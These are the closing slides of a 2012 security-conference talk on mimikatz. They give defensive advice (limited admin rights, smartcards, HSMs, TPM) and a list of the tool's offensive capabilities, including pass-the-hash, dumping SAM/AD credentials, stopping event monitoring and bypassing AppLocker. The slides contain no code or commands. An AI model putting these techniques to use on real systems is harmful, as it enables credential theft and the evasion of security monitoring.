07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 53
mimikatz :: crypto
what we can do ?
Exactly the same as for sekurlsa, it will prevent access to
accounts / computer !
– no admin, no admin, no admin…
Basics
– Use smartcards/token for users certificates
– Use Hardware Security Modules (HSM), even SoftHSM
More in depth
– See what Microsoft can do with TPM from Windows 8
• Virtual SmartCard seems promising
– Verify vendors implementation (Lenovo, Dell, …) of TPM CSP/KSP
• Their biometrics stuff was a little buggy ;)
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 54
mimikatz
what else can it do ?
Play with minesweeper
Manipulate some handles
Pass the hash
Dump SAM / AD
Stop event monitoring
Patch Terminal Server
Basic GPO bypass
Applocker / SRP bypass
Driver
– Play with tokens & privileges
– Display SSDT x86 & x64
– List minifilters actions
– List Notifications (process / thread / image / registry)
– List Objects hooks and procedures
– …
…
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 55
mimikatz
that’s all folks !
Thanks’ to / Merci à :
– my girlfriend for her support (her LSASS crashed few times)
– Application Security Forum to offer me this great opportunity
• Partners and Sponsors for sure !
– Microsoft to always consider it as normal/acceptable
– Security friends/community for their ideas & challenges
• nagual, newsoft, mubix, …
– You, for your attention !
Questions ?
Don’t be shy ;)
especially if you have written the corresponding slide number
07/11/2012 Benjamin DELPY `gentilkiwi` @ ASFWS 2012 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 56